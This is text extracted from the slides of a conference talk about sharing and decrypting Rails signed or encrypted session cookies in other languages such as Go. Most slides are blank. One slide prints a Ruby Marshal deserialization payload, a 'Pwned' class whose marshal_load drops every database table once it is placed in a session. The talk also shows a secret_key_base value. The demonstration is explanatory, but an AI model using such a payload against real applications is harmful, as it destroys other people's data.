Matt Aimonetti
Splice:
Go, Ruby, JS, Obj-C, C#, C++, C
Matt Aimonetti - splice.com - @mattetti
Slide 2
Slide 2 text
No content
Slide 3
Slide 3 text
No content
Slide 4
Slide 4 text
No content
Slide 5
Slide 5 text
“Knowledge is power”
France is Bacon
Slide 6
Slide 6 text
“Crypto is hard”
Bruce Schneier
Slide 7
Slide 7 text
“Barcelona is awesome”
My wife
Slide 8
Slide 8 text
No content
Slide 9
Slide 9 text
The events depicted in this presentation
took place in California in 2014.
!
At the request of the survivors, the names have been changed.
Out of respect for the dead, the rest has been told exactly as it
occurred.
Slide 10
Slide 10 text
Bob
Alice
Slide 11
Slide 11 text
Abe
Slide 12
Slide 12 text
No content
Slide 13
Slide 13 text
No content
Slide 14
Slide 14 text
No content
Slide 15
Slide 15 text
No content
Slide 16
Slide 16 text
No content
Slide 17
Slide 17 text
No content
Slide 18
Slide 18 text
Conchita
Slide 19
Slide 19 text
No content
Slide 20
Slide 20 text
No content
Slide 21
Slide 21 text
No content
Slide 22
Slide 22 text
Dave
Slide 23
Slide 23 text
No content
Slide 24
Slide 24 text
No content
Slide 25
Slide 25 text
No content
Slide 26
Slide 26 text
{}
Slide 27
Slide 27 text
session.current_user
Slide 28
Slide 28 text
No content
Slide 29
Slide 29 text
No content
Slide 30
Slide 30 text
Frank
Slide 31
Slide 31 text
No content
Slide 32
Slide 32 text
No content
Slide 33
Slide 33 text
No content
Slide 34
Slide 34 text
No content
Slide 35
Slide 35 text
No content
Slide 36
Slide 36 text
ActiveSupport::MessageVerifier
Slide 37
Slide 37 text
Splice::Application.config.secret_key_base =
"f7b5763636f4c1f3ff4bd444eaccaca295d87b
990cc104124017ad70550edcfd22b8e89465398
254e0b608592a9aac29025440bfd9ce42579835
ba06a86f85f9"
config/initializers/secret_token.rb
config/secrets.yml
Before Rails 4.1
After Rails 4.1
BAh7BzoKd2hlcmVJIg5CYXJjZWxvbmEGOgZFV
DoJd2hhdEkiC0JhcnVjbwY7BlQ=
--
ad7af07ad5b384d458b7cf8a962c04fc53ed8
1d1
Base 64 encoded version of the
dumped message
Signature of encoded message
class ::Pwned
def marshal_load(*args)
end
def marshal_dump
end
end
Slide 67
Slide 67 text
class ::Pwned
def marshal_load(*args)
ActiveRecord::Base.connection.tables.each do |t|
ActiveRecord::Base.connection.drop_table(t)
end
end
def marshal_dump; end
def by
"Eve"
end
end
!
session[:pwned] = ::Pwned.new
type Person struct {
Id int `json:"id"`
FirstName string `json:”first_name"`
LastName string `json:”last_name"`
Age int `json:"age"`
}
!
!
john := Person{Id: 12,
FirstName: "John",
LastName: "Doe",
Age: 42}
// decrypting the person object contained in
//the session
var sessionContent Person
err = e.DecryptAndVerify(msg, &sessionContent)
if err != nil {
log.Fatal(err)
}
// Person{Id:12, FirstName:"John",
// LastName:”Doe”, Age:42}